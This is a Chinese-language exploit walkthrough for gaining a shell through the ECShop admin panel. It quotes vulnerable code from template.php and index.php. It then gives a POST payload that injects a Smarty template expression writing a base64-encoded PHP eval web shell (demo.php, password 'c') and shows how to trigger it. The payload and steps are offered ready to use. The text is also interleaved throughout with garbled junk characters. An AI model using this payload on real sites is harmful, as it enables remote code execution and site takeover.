Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
- Q% W' ]  z/ ?4 ?- y! [
& S, _! R0 v" T6 v而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
* l) r4 B2 b, e但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
' H% T' n% U0 k' W) p  badmin/template.php

7 [  g$ V  r  N8 V1 if ($_REQUEST['act'] == 'update_library')
8 w- Y0 U$ e/ ]1 K
2   
- V& ^; I' F) W9 ^& D, M9 z
3 {
. r" c$ n, m; r6 n% S
& r! b0 H) V: p4     check_authz_json('library_manage');
6 V  t; X, [! c! t$ K( v/ D
7 h; ?$ _" t# M8 R6 r7 ^5   

' V3 ^% p$ ^+ O3 j6     $html = stripslashes(json_str_iconv($_POST['html']));
9 {3 N, r7 E* g, @
7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
1 e( ?# N. {" o  @8 Y. g
! S5 [" c. x# Y# r9   
3 q; Y9 C& m. i3 w7 }" V# |5 _
; j8 c: Z, Z* o9 [, C4 L" Y& C2 I10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
4 ~  ~2 ^) O2 z/ _
11   

. q& p8 G( \; b9 b& @12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
0 ~' U8 L6 k; D1 ]4 ~+ P' T
13   

0 z# l5 G. g) t5 m# }1 M14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
/ F9 w# B& q- A8 g/ P
15     {
7 ?8 t6 z4 n$ a+ Z3 l2 ~1 B
! u6 X* T2 t# l+ ~- |  L) s( T- X16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
* X: w) B6 P: }( d
! n- i" a' H; M! w17         make_json_result('', $_LANG['update_lib_success']);

" F! O& i3 n3 Q6 ?2 k18     }

" F% f" v! D/ ?0 V0 @% Y19     else
: U6 U7 ~" N* }
7 f* D# }2 Y8 ~& h20     {
+ v& j+ Q$ |$ s3 L" S
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ P: D1 B: H5 p0 a5 n
22     }
1 M  s. @/ g" u' ?8 D, B" f
23 }

1 Z4 `/ x. C( }% T1 k: @+ H那么找个比较方便调用了模板的文件
! \& y6 g& T6 |' {1 ^2 n$ dindex.php

" v" a9 z0 g; P* y1 if ($act == 'cat_rec')
0 k5 A& B1 i/ ]# \, \% H
2   
( T0 ]6 H$ H' f
3 {
/ p+ v# G' M6 S9 b" }3 ]0 j
+ S# U3 m) a9 p4   
; @9 c4 W4 B3 z3 [
$ W. A8 i. P6 t8 u: w5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
) W& e! @2 l6 x6 o: j
8 c$ d, a5 g# b8 ?/ D6   

- V5 \- W. m' b. A  Y5 \7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   
$ v; `/ N2 K5 r4 a
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

11     include_once('includes/cls_json.php');

12   

) |5 M! N" x% L1 p/ ~2 N. M13     $json = new JSON;

& B! I. K1 M( k& l$ a14   

2 k+ y9 W. }& D  I15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
% b5 l* i* m4 Q6 D- ?1 l, W0 O1 F7 p
17     $children = get_children($cat_id);

18   

: {: E# k: I: i( C19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

! l# g( q4 i( V' B( }. ^20   

# x- P6 Y4 U$ T5 }3 a2 e, S7 O- }21     $smarty->assign('cat_rec_sign', 1);

2 e$ F8 A! ^5 {' t4 Y5 a9 B22   
% a+ l) f3 ]: I
, r( |" B( u# ~0 H) e23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
" W. u! d! J2 B, _' H: |
1 v+ Q4 t& N! Q# a, `5 P. @24   

6 {% @' @3 b# O  O4 t25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   
0 f( }0 n0 c+ v4 {8 |* e
) f" c' o4 E+ W4 q2 H27         echo $rec_array[$rec_type];

28   
! r# U8 \9 j$ S: M
29     die($json->encode($result));
7 s4 c$ V4 N& A3 Z
30   
! `5 S+ D0 m! x, G+ {! Q
8 E1 K) @5 r' o* F31 }

( q- b. P8 L2 C3 V' W) E$ d6 V那么就有利用方法了
; E( b2 g7 A: g! P" Ipost包到http://localhost/ec/admin/template.php?act=update_library
8 j' N* Y( S) H+ `) ePost内容：

: ^7 X% M. v) O​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
. g2 ~; h- _( ^) x8 t% S' Q- c密码c
! F' o" v( W% a, M& z
0 Y  A8 o- e. l4 M% C' i. j